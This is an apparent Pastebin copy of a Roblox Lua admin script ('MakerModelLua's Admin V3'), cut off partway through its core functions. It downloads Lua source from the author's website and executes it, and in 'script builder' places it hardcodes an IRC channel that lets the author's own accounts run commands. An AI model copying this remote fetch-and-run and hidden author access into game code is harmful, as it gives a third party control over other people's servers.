SonicrixLP

Untitled

May 22nd, 2018
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2. Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
  3. If you want to know what commands do just go into your game and say ;cmds for a list of
  4. commands, what they do, examples, rank needed, and more!
  5. Or, go to http://www.classy-studios.com/V3/Commands.php
  6. If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
  7.  
  8.  
  9. TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
  10.  
  11. --->> DO NOT EDIT THESE SETTINGS <<---
  12. Well you can but it's a waste of your time. The settings are located in workspace
  13. in a folder called "MakerModelLua's Settings". You can also use this plugin:
  14.  
  15. http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
  16.  
  17. USE REMOTE ADMIN:
  18. http://www.classy-studios.com/Login/
  19. Mobile: http://appsto.re/us/hEn7fb.i
  20.  
  21.  
  22.  
  23. ...also... this is open source! No stupid shady module scripts, which means it works in studio!
  24.  
  25. ]]
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49. -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
  50.  
  51.  
  52. local Settings = {
  53.     Ranks = {
  54.         ["Owner"] = {sonicrixlp};
  55.         ["Admin"] = {};
  56.         ["Member"] = {};
  57.         ["Banned"] = {};
  58.         ["Crashed"] = {};
  59.         ["Muted"] = {};
  60.     };
  61.    
  62.     Prefix = ";";
  63.     Bet = " ";
  64.     MinimumAge = 0;
  65.     ServerLocked = false;
  66.     ColorScheme = "White";
  67.     TransparencyScheme = 50;
  68.     Fun = true;
  69.     EnableAdminMenu = true;
  70.     EnableTaskBar = true;
  71.     FreeAdmin = false;
  72.     Font = "Arial";
  73.    
  74.     DisableAbuse = false;
  75.     AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
  76.     AbusableGear = {};
  77.    
  78.     LinkedAccount = "";
  79.     DataKey = "";
  80.    
  81.     ExecuteNotificationSound = 0; --177578949
  82.     EnableSounds = true;
  83.    
  84.     VIPMemberID = 0;
  85.     VIPAdminID = 0;
  86.    
  87.     GroupID = 0;
  88.     GroupBanRank = 0;
  89.     GroupMemberRank = 0;
  90.     GroupAdminRank = 0;
  91.     GroupOwnerRank = 0;
  92.     GroupRankBan = 0;
  93.     BannedGroupIDs = {};
  94.    
  95.     IRCServer = "";
  96.     IRCChannel = "";
  97.     IRCCommandExecuters = {};
  98.    
  99.     TrelloToken = ""
  100. }
  101.  
  102. local Colors = {
  103.     ["WHITE"] = Color3.new(1,1,1);
  104.     ["BLACK"] = Color3.new(0,0,0);
  105.     ["GRAY"] = Color3.new(0.5,0.5,0.5);
  106.     ["RED"] = Color3.new(1,0,0);
  107.     ["GREEN"] = Color3.new(0,1,0);
  108.     ["BLUE"] = Color3.new(0,0,1);
  109.     ["YELLOW"] = Color3.new(1,1,0);
  110.     ["PINK"] = Color3.new(1,0,1);
  111.     ["MAGENTA"] = Color3.new(1,0,1);
  112.     ["CYAN"] = BrickColor.new("Cyan").Color;
  113.     ["TEAL"] = BrickColor.new("Teal").Color;
  114.     ["BROWN"] = Color3.new(0.55,0.25,0.075);
  115.     ["PURPLE"] = Color3.new(0.5,0,0.5);
  116.     ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
  117. }
  118.  
  119. local Server = {
  120.     Workspace = game:GetService("Workspace");
  121.     Players = game:GetService("Players");
  122.     Lighting = game:GetService("Lighting");
  123.     MPS = game:GetService("MarketplaceService");
  124.     TS = game:GetService("TeleportService");
  125.     HS = game:GetService("HttpService");
  126.     RS = game:GetService("RunService");
  127.     PS = game:GetService("PointsService");
  128.     TestS = game:GetService("TestService");
  129.     IS = game:GetService("InsertService");
  130.     Teams = game:GetService("Teams");
  131.     Data = game:GetService("DataStoreService");
  132.     GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
  133.     NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
  134.     Storage = game:GetService("ServerStorage");
  135.     RS = game:GetService("ReplicatedStorage");
  136.     AS = game:GetService("AssetService");
  137. }
  138.  
  139. local Icons = {
  140.     ["Message"] = 7724351;
  141.     ["Error"] = 94011556;
  142.     ["Information"] = 144175130;
  143.     ["Check"] = 132769976;
  144.     ["Search"] = 61994930;
  145.     ["Time"] = 136391033;
  146.     ["Notice"] = 156507320;
  147.     ["Sound"] = 164682936;
  148.     ["Log"] = 70650545;
  149.     ["Question"] = 41363872;
  150.     ["Output"] = 11481605;
  151.     ["Admin"] = 302470270;
  152.     ["Lock"] = 11341626;
  153.     ["Settings"] = 131064748;
  154.     ["Map"] = 257119661;
  155.     ["Plugin"] = 257097414;
  156. }
  157.  
  158. local IRC = {
  159.     Codes = {
  160.         ["001"] = "RPL_WELCOME",
  161.         ["002"] = "RPL_YOURHOST",
  162.         ["003"] = "RPL_CREATED",
  163.         ["004"] = "RPL_MYINFO",
  164.         ["005"] = "RPL_ISUPPORT",
  165.         ["250"] = "RPL_STATSCONN",
  166.         ["251"] = "RPL_LUSERCLIENT",
  167.         ["252"] = "RPL_LUSEROP",
  168.         ["254"] = "RPL_LUSERCHANNELS",
  169.         ["255"] = "RPL_LUSERME",
  170.         ["265"] = "RPL_LOCALUSERS",
  171.         ["266"] = "RPL_GLOBALUSERS",
  172.         ["352"] = "RPL_WHOREPLY",
  173.         ["371"] = "RPL_INFO",
  174.         ["372"] = "RPL_MOTD",
  175.         ["374"] = "RPL_ENDINFO",
  176.         ["375"] = "RPL_MOTDSTART",
  177.         ["376"] = "RPL_ENDOFMOTD",
  178.         ["422"] = "ERR_NOMOTD",
  179.     },
  180.     Ignore = {
  181.         ["004"] = true,
  182.         ["005"] = true,
  183.     };
  184.     Users = {};
  185.     Logs = {};
  186.     Chats = {};
  187.     Forms = {};
  188.     MessageAdded = Instance.new("BindableEvent");
  189.    
  190.     Servers = {
  191.         ["esper.net"] = {
  192.             BaseUrl = "http://webchat.esper.net/";
  193.             DynamicUrl = "";
  194.         };
  195.         ["quakenet.org"] = {
  196.             BaseUrl = "http://webchat.quakenet.org/";
  197.             DynamicUrl = "dynamic/leibniz",
  198.         };
  199.         ["swiftirc.net"] = {
  200.             BaseUrl = "http://qwebirc.swiftirc.net/";
  201.             DynamicUrl = "",
  202.         };
  203.     };
  204.     NickName = "rbxMMLV3_"..math.random(1,100000);
  205.    
  206.     SessionCounter = 0;
  207.     Connected = false;
  208.     Stop = false;
  209.     SessionID = "";
  210. }
  211.  
  212. local RankHUD = {
  213.     ["Muted"] = 202180094;
  214.     ["Non-Admin"] = 202180121;
  215.     ["Member"] = 202180052;
  216.     ["Admin"] = 202180015;
  217.     ["Owner"] = 202179988;
  218. }
  219.  
  220. local TextConverter = {
  221.     LetterSounds = {
  222.         ["a"] = {223757826, nil}; -- 203343899
  223.         ["b"] = {223533700, 0.2}; -- 203344029
  224.         ["c"] = {223533711, nil}; -- 203343994
  225.         ["d"] = {223757910, nil}; -- 203398237
  226.         ["e"] = {223758026, nil}; -- 203398295
  227.         ["f"] = {223777655, nil}; -- 203398347
  228.         ["g"] = {223777738, nil}; -- 203398372
  229.         ["h"] = {223777757, nil}; -- 203398397
  230.         ["i"] = {223777807, nil}; -- 203398422
  231.         ["j"] = {223782888, nil}; -- 203398450
  232.         ["k"] = {223533711, nil}; -- 203343994
  233.         ["l"] = {223782961, 0.4}; -- 203398541
  234.         ["m"] = {223782992, nil}; -- 203398578
  235.         ["n"] = {223783063, nil}; -- 203398599
  236.         ["o"] = {223783184, nil}; -- 203398611
  237.         ["p"] = {223783235, nil}; -- 203398727
  238.         ["q"] = {223783260, nil}; -- 203398755
  239.         ["r"] = {223783305, 0.2}; -- 203398792
  240.         ["s"] = {223783377, nil}; -- 203398806
  241.         ["t"] = {223783446, nil}; -- 203398850
  242.         ["u"] = {223783512, nil}; -- 203398872
  243.         ["v"] = {223783654, nil}; -- 203398965
  244.         ["w"] = {223783697, nil}; -- 203398984
  245.         ["x"] = {223783796, nil}; -- 203399008
  246.         ["y"] = {223783853, nil}; -- 203399043
  247.         ["z"] = {223783893, nil}; -- 203399096
  248.        
  249.         ["ch"] = {223784367, 0.3}; -- 203592149
  250.         ["th"] = {223788235, 0.3}; -- 203399215
  251.         ["sh"] = {223784505, 0.2}; -- 203399566
  252.         ["wh"] = {223784555, 0.3}; -- 203622828
  253.         ["oo"] = {223784456, 0.3}; -- 203399743
  254.         ["ing"] = {223784393, 0.3}; -- 203402836
  255.     };
  256.    
  257.     LongVowels = {
  258.         ["a"] = {223533687, nil}; -- 203343932
  259.         ["e"] = {223777620, nil}; -- 203398314
  260.         ["i"] = {223777855, nil}; -- 203398440
  261.         ["o"] = {223783212, nil}; -- 203398619
  262.         ["u"] = {223783572, nil}; -- 203398897
  263.     };
  264.    
  265.     Pronounce = {
  266.         ["0"] = "zero";
  267.         ["1"] = "wun";
  268.         ["2"] = "too";
  269.         ["3"] = "three";
  270.         ["4"] = "four";
  271.         ["5"] = "five";
  272.         ["6"] = "six";
  273.         ["7"] = "seven";
  274.         ["8"] = "eyt";
  275.         ["9"] = "nine";
  276.         ["one"] = "wun";
  277.         ["two"] = "too";
  278.         ["eight"] = "eyt";
  279.         ["eigh"] = "ey";
  280.         ["gh"] = "h";
  281.         ["kn"] = "n";
  282.         ["come"] = "cu".."m";
  283.         ["bye"] = "bi";
  284.         ["#"] = "hashtag";
  285.         ["@"] = "at";
  286.         ["&"] = "and";
  287.         ["*"] = "astrict";
  288.         ["mn"] = "m";
  289.         ["kn"] = "n";
  290.         ["ies"] = "ees";
  291.     };
  292.    
  293.     NonEnglishRules = {
  294.         ["to"] = "too";
  295.         ["you"] = "yoo";
  296.         ["we"] = "wee";
  297.         ["are"] = "erh";
  298.         ["your"] = "yoor";
  299.         ["you're"] = "yoor";
  300.         ["youre"] = "yoor";
  301.         ["pizza"] = "peetzoh";
  302.         ["ok"] = "okay";
  303.         ["have"] = "hav";
  304.         ["my"] = "mi";
  305.         ["me"] = "mee";
  306.         ["u"] = "yoo";
  307.         ["r"] = "erh";
  308.         ["move"] = "moov";
  309.         ["dove"] = "duv";
  310.         ["debris"] = "debree";
  311.         ["do"] = "doo";
  312.     }
  313. }
  314.  
  315. local HTMLDecode = {
  316.     ["35"] = "#";
  317.     ["36"] = "$";
  318.     ["37"] = "%%";
  319.     ["38"] = "*";
  320.     ["39"] = "'";
  321.     ["58"] = ":";
  322.     ["59"] = ";";
  323.     ["60"] = "<";
  324.     ["62"] = ">";
  325. }
  326.  
  327.  
  328. local Assets = {
  329.     Packages = {
  330.         [27112438] = {27112025,27112039,27112052,27112056,27112068};
  331.         [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
  332.         [77518833] = {77518564,77518616,77518654,77518696,77518737};
  333.         [32336368] = {32336059,32336117,32336182,32336243,32336306};
  334.         [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
  335.         [54116460] = {54116290,54116338,54116373,54116394,54116432};
  336.         [39977366] = {39976703,39976829,39976927,39977192,39977295};
  337.         [32357766] = {32357663,32357631,32357619,32357584,32357558};
  338.         [27123973] = {27121265,27121306,27121353,27121393,27121432};
  339.         [55717536] = {55717271,55717330,55717388,55717434,55717491};
  340.         [28279963] = {28279160,28279217,28279859,28279894,28279938};
  341.         [27403592] = {27402580,27402546,27402641,27402714,27402742};
  342.         [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
  343.         [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
  344.         [48474394] = {48474356,48474294};
  345.         [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
  346.         [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
  347.         [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
  348.         [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
  349.         [33378577] = {33378366,33378438,33378484,33378522,33378540};
  350.         [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
  351.         [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
  352.         [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
  353.         [41851073] = {41850825,41850868,41850915,41851009,41850959}
  354.     };
  355.     AssetTypes = {
  356.         [0] = "Product";
  357.         [1] = "Image";
  358.         [2] = "T-Shirt";
  359.         [3] = "Audio";
  360.         [4] = "Mesh";
  361.         [5] = "Lua";
  362.         [6] = "HTML";
  363.         [7] = "Text";
  364.         [8] = "Hat";
  365.         [9] = "Place";
  366.         [10] = "Model";
  367.         [11] = "Shirt";
  368.         [12] = "Pants";
  369.         [13] = "Decal";
  370.         [16] = "Avatar";
  371.         [17] = "Head";
  372.         [18] = "Face";
  373.         [19] = "Gear";
  374.         [21] = "Badge";
  375.         [22] = "Group Emblem";
  376.         [24] = "Animation";
  377.         [25] = "Arms";
  378.         [26] = "Legs";
  379.         [27] = "Torso";
  380.         [28] = "Right Arm";
  381.         [29] = "Left Arm";
  382.         [30] = "Left Leg";
  383.         [31] = "Right Leg";
  384.         [32] = "Package";
  385.         [33] = "YouTube Video";
  386.         [34] = "Game Pass";
  387.         [38] = "Plugin";
  388.         [39] = "SolidModel";
  389.         [40] = "MeshPart";
  390.         [41] = "Hair Accessory";
  391.         [42] = "Face Accessory";
  392.         [43] = "Neck Accessory";
  393.         [44] = "Shoulder Accessory";
  394.         [45] = "Front Accessory";
  395.         [46] = "Back Accessory";
  396.     };
  397.     AccessoryTypes = {
  398.         ["all"] = 19;
  399.         ["hats"] = 9;
  400.         ["hair"] = 20;
  401.         ["face"] = 21;
  402.         ["neck"] = 22;
  403.         ["shoulder"] = 23;
  404.         ["front"] = 24;
  405.         ["back"] = 25;
  406.         ["waist"] = 26;
  407.     };
  408. }
  409.  
  410. local CharacterCache = {
  411.     {"MakerModelLua", 38837082};
  412.     {"LuaModelMaker", 20920633};
  413.     {"builderman", 156};
  414.     {"Shedletsky", 261};
  415.     {"Telamon", 13645};
  416.     {"ROBLOX", 1};
  417. }
  418.  
  419. local FaceCovert = {
  420.     Left = "xpos";
  421.     Right = "xneg";
  422.     Front = "zpos";
  423.     Back = "zneg";
  424.     Top = "ypos";
  425.     Bottom = "yneg";
  426. }
  427.  
  428. local Meshes = {
  429.     ["crown"] = {1, 1078075};
  430.     ["king"] = {1, 11419761};
  431.     ["teapot"] = {0.03, 1029523};
  432.     ["apple"] = {2.5, 16190555};
  433.     ["potato"] = {1, 25268275};
  434.     ["panda"] = {0.5, 20709221};
  435.     ["dominus"] = {0.5, 21057410};
  436.     ["fedora"] = {0.75, 13640868};
  437.     ["noob"] = {1, 20929341};
  438.     ["knife"] = {0.3, 121944778};
  439.     ["book"] = {0.3, 1136139};
  440. }
  441.  
  442. local NotifySounds = {
  443.     ["Hover"] = 223134269;
  444.     ["Select"] = 292141227;
  445. }
  446.  
  447. local Trello = {
  448.     TrelloInfoCard = "x1rUtwEj";
  449.     MainBoard = {};
  450.     RequiredLists = {};
  451.     RankChecklistCache = {};
  452.     ToggleChecklist = nil;
  453.     CommandID = nil;
  454.     LastCommandDT = 0;
  455.     AdminBoardID = "577ea1b21cb7975666524f26";
  456.     RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
  457.     RemoteDataCard = "dLtMo1en"
  458. }
  459.  
  460. local ScriptBuilders = {
  461.     [260897989] = "MML's";
  462.     [21053279] = "Anti's pub";
  463.     [21053219] = "Anti's pri";
  464.     [20279777] = "Void's 1";
  465.     [437965235] = "Void's 2";
  466.     [227015991] = "Vox's";
  467.     [210101277] = "Master's";
  468.     [531937877] = "Bleu pigs";
  469.     [519251450] = "Game's";
  470. }
  471.  
  472. -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
  473. -- Why else would I NOT have put it in a module?!?!?
  474.  
  475. local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
  476.  
  477. local SoundList,GlobalSoundList = {},{}
  478. local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
  479. local TempChatLogs = {}
  480. local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
  481. local NoSpeak = false
  482.  
  483. local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
  484. local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
  485.  
  486. local ChatLogs,CommandLogs = {},{}
  487. local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
  488. local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
  489. local Dispose,Jails,PermCommandBars = {},{},{}
  490. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  491. local Objects = {}
  492. local Sound = nil
  493. local ModLighting = false
  494. local DataReady = true
  495. local RemoteAbuseGear = {}
  496.  
  497. local GameOwner = "[ Client ]"
  498. local PlaceName = "Unknown"
  499. local PlaceInfo = {}
  500. local IsStudio = false
  501. local IsSB = false
  502. local Date = nil
  503. local Fonts = {}
  504. local PendingRequests = {}
  505. local F3X = script:FindFirstChild("F3X Tools")
  506. local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
  507. local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
  508. local KeyBinds = {}
  509. local Crowns = {}
  510. local LastKeys = {}
  511. local Cars = {}
  512. local StringReplacements = {}
  513. local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  514. local NoBet = {"/", "-", "(", ")", ""}
  515. local ShouldFilter = true
  516.  
  517. local CrownStorage = script:FindFirstChild("CrownStorage")
  518. if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
  519.  
  520. -- import old settings just in case --
  521. local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
  522. if OldSettings then
  523.     OldSettings = require(OldSettings)
  524.    
  525.     for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
  526.         Settings[ValName] = OldSettings[ValName]
  527.     end
  528.     Settings.GroupBanRank = OldSettings.RankBan
  529.     Settings.Fun = OldSettings.FUN
  530. end
  531.  
  532. if F3X then
  533.     F3X = F3X:Clone()
  534.     F3X.Handle.Anchored = false
  535.     script:FindFirstChild("F3X Tools"):Destroy()
  536. end
  537.  
  538. wait(0.1)
  539.  
  540. local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
  541. -- tries to defualt to server storage, just in case an exploiter makes their own settings.
  542.  
  543. if SettingsValues then
  544.     SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
  545.     if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
  546.         for _,Value in pairs(SettingsValues:GetChildren()) do
  547.             if Settings[Value.Name] ~= nil then
  548.                 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
  549.                     for _,NewValue in pairs(Value:GetChildren()) do
  550.                         if ypcall(function() return NewValue.Value end) then
  551.                             if Settings[Value.Name][NewValue.Name] then
  552.                                 local Val = NewValue.Value
  553.                                 if type(Settings[Value.Name][NewValue.Name]) == "table" then
  554.                                     Val = {}
  555.                                     for Word in string.gmatch(NewValue.Value, "[%w_]+") do
  556.                                         table.insert(Val, Word)
  557.                                     end
  558.                                 end
  559.                                 Settings[Value.Name][NewValue.Name] = Val
  560.                             end
  561.                         end
  562.                     end
  563.                 else
  564.                     if Settings[Value.Name] ~= nil then
  565.                         local Val = Value.Value
  566.                         if type(Settings[Value.Name]) == "table" then
  567.                             Val = {}
  568.                             for Word in string.gmatch(Value.Value, "%w+") do
  569.                                 table.insert(Val, Word)
  570.                             end
  571.                         end
  572.                         Settings[Value.Name] = Val
  573.                     end
  574.                 end
  575.             end
  576.         end
  577.     end
  578. end
  579.  
  580. if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
  581.     Settings.LinkedAccount = ""
  582. elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
  583.     Settings.LinkedAccount = "Admin"
  584. end
  585.  
  586. local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
  587. local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
  588.  
  589. wait(1)
  590.  
  591. local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
  592.  
  593. if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
  594.  
  595. if not IsStudio then
  596.     Server.NS = game:GetService("NetworkServer")
  597.     script.Name = "Maker".."Mo".."delLua's Admin"
  598. end
  599.  
  600. if game.PlaceId > 0 then
  601.     PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
  602.     PlaceName = PlaceInfo.Name
  603. end
  604.  
  605. local function GetGameOwner()
  606.     if PlaceInfo.Creator.CreatorType == "Group" then
  607.         GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
  608.         print("MML's Admin: Found group owner for game: "..GameOwner)
  609.     elseif PlaceInfo.Creator.CreatorType == "User" then
  610.         GameOwner = PlaceInfo.Creator.Name
  611.         print("MML's Admin: Found game owner: "..GameOwner)
  612.     else
  613.         ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
  614.     end
  615. end
  616.  
  617. if string.byte(string.sub(PlaceName,1,1)) == 226 then
  618.     PlaceName = string.sub(PlaceName,4,#PlaceName)
  619. end
  620. for i = 1,5 do
  621.     if GameOwner == "[ Client ]" then
  622.         print("MML's Admin: Attempting to establish owner's name #"..i)
  623.         GetGameOwner()
  624.         wait(1)
  625.     end
  626. end
  627.  
  628. if ScriptBuilders[PlaceID] or NLS then
  629.     IsSB = true
  630. end
  631.  
  632. if IsSB then
  633.     ShouldFilter = false
  634.     Settings.IRCServer = "swiftirc.net";
  635.     Settings.IRCChannel = "#PkamaraSB";
  636.     Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
  637.     if Settings.TrelloToken == "" then
  638.         Settings.LinkedAccount = "ScriptBuilder"
  639.     end
  640.     if Settings.DataKey == "" then coroutine.wrap(function()
  641.         repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
  642.         local Key = Server.Storage:FindFirstChild("MML DataKey")
  643.         print("Found key: "..Key.Value)
  644.         Settings.DataKey = Key.Value
  645.         Key:Destroy()
  646.     end)() end
  647. end
  648. local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
  649. table.insert(Settings.Ranks["Owner"], GameOwner)
  650.  
  651. for _,Font in pairs(Enum.Font:GetEnumItems()) do
  652.     Fonts[Font.Name] = Font
  653. end
  654.  
  655. local LogClient = script:FindFirstChild("AddClientInfo")
  656. if LogClient then LogClient:Destroy() end
  657. LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
  658. LogClient.OnServerInvoke = function(Player, Info)
  659.     if Info then
  660.         for Key,Data in pairs(Info) do
  661.             ClientInfo[Player.Name][Key] = Data
  662.         end
  663.     end
  664. end
  665.  
  666. local function MakeFunction(Type, Name)
  667.     local Func = script:FindFirstChild(Name)
  668.     if Func then Func:Destroy() end
  669.     Func = Instance.new(Type, script) Func.Name = Name
  670.    
  671.     getfenv()[Name] = Func
  672.     return Func
  673. end
  674.  
  675. MakeFunction("BindableFunction", "ExecuteCommand")
  676. MakeFunction("RemoteFunction", "ExecuteCommandClient")
  677. MakeFunction("BindableFunction", "ExecuteCode")
  678.  
  679. MakeFunction("RemoteFunction", "IsAdmin")
  680. MakeFunction("RemoteFunction", "AddExploit")
  681. MakeFunction("BindableFunction", "AddExploitServer")
  682. MakeFunction("RemoteFunction", "KickClient")
  683. MakeFunction("RemoteFunction", "ConvertTextToSound")
  684.  
  685. MakeFunction("RemoteFunction", "KeyPressed")
  686. MakeFunction("RemoteFunction", "InputKey")
  687.  
  688. MakeFunction("RemoteFunction", "RankPlayerLocal")
  689. MakeFunction("BindableFunction", "RankPlayerServer")
  690.  
  691. --[[
  692. if NLS then
  693.     local Value = script:FindFirstChild("Override")
  694.     LogClient.Parent = game
  695.     if not Value then
  696.         local Value = Instance.new("BoolValue", script) Value.Name = "Override"
  697.         local CloneScript = script:Clone()
  698.         CloneScript.Disabled = true
  699.         CloneScript.Parent = game:FindFirstChild("ServerScriptService")
  700.         CloneScript.Disabled = false
  701.         CloneScript.Parent = nil
  702.        
  703.         script:Destroy() script.Disabled = true
  704.     end
  705. end
  706. ]]
  707.  
  708. if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
  709.  
  710. IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
  711.  
  712. -- Core functions --
  713.  
  714. function CORE:FixSettings()
  715.     for _,Bet in pairs(NoBet) do
  716.         if Settings.Bet == Bet then
  717.             Settings.Bet = " "
  718.             break
  719.         end
  720.     end
  721.     CORE:ChangeBet(Settings.Bet)
  722.  
  723.     if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
  724.     if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
  725.  
  726.     if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
  727.     if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
  728.     Settings.TransparencyScheme = Settings.TransparencyScheme/100
  729.  
  730.     if not Fonts[Settings.Font] then
  731.         Settings.Font = "Arial"
  732.     end
  733. end
  734.  
  735. function CORE:NilPlayer(Player)
  736.     if Player == nil or type(Player) == "table" then return true else return false end
  737. end
  738.  
  739. function CORE:ExecuteResource(ResourceName, Parent, Data)
  740.     local ReturnScript = nil
  741.     local Executed = true
  742.     if script:FindFirstChild("Resources") then
  743.         local RawResource = script.Resources:FindFirstChild(ResourceName)
  744.         if RawResource then
  745.             local Resource = RawResource:Clone()
  746.             Resource.Disabled = true
  747.             Resource.Parent = Parent
  748.             if Data then
  749.                 for Key,Value in pairs(Data) do
  750.                     if Resource[Key] then
  751.                         Resource[Key].Value = Value
  752.                     end
  753.                 end
  754.             end
  755.             wait()
  756.             Resource.Disabled = false
  757.             ReturnScript = Resource
  758.         else
  759.             Executed = false
  760.         end
  761.     else
  762.         Executed = false
  763.     end
  764.     if Executed == false then
  765.         if not Data then Data = {} end
  766.         local Source = ScriptCache[ResourceName]
  767.        
  768.         if not Source then
  769.             Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
  770.             if Source then
  771.                 ScriptCache[ResourceName] = Source
  772.             end
  773.         end
  774.        
  775.         if Data and Source then
  776.             for Key,Value in pairs(Data) do
  777.                 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
  778.             end
  779.         end
  780.        
  781.         if Source then
  782.             if NLS then
  783.                 ReturnScript = NLS(Source, Parent)
  784.             elseif createLocalScriptWithSource then
  785.                 ReturnScript = createLocalScriptWithSource(Source)
  786.                 ReturnScript.Parent = Parent
  787.             end
  788.         end
  789.     end
  790.     return ReturnScript
  791. end
  792.  
  793. function CORE:CreateRemotePropertyReader(Obj, Override)
  794.     if Server.Workspace.FilteringEnabled == true or Override then
  795.         local Reader = Instance.new("RemoteFunction", Obj)
  796.         Reader.Name = "RemotePropertyReader"
  797.         CORE:ExecuteResource("RemotePropertyReader", Reader)
  798.         return Reader
  799.     else
  800.         return Obj
  801.     end
  802. end
  803.  
  804. function CORE:ReadProperty(Reader, Player, Property)
  805.     if Reader:IsA("RemoteFunction") then
  806.         return Reader:InvokeClient(Player, Property)
  807.     else
  808.         return Reader[Property]
  809.     end
  810. end
  811.  
  812. function CORE:WriteProperty(Reader, Player, Property, Value)
  813.     if Reader:IsA("RemoteFunction") then
  814.         return Reader:InvokeClient(Player, Property, Value)
  815.     else
  816.         return Reader[Property]
  817.     end
  818. end
  819.  
  820.  
  821. function CORE:CreateRemoteEvent(Obj, EventName)
  822.     local Event = Instance.new("RemoteEvent", Obj)
  823.     Event.Name = "RemoteEvent_"..EventName
  824.     CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
  825.     return Event
  826. end
  827.  
  828. function CORE:HandleEvent(Obj, EventName, Func, NewThread)
  829.     local function Handle()
  830.         if Server.Workspace.FilteringEnabled == true then
  831.             local Event = CORE:CreateRemoteEvent(Obj, EventName)
  832.             return Event.OnServerEvent:connect(function(Player, ...)
  833.                 Func(...)
  834.             end)
  835.         else
  836.             return Obj[EventName]:connect(Func)
  837.         end
  838.     end
  839.     if NewThread then
  840.         Spawn(Handle)
  841.     else
  842.         Handle()
  843.     end
  844. end
  845.  
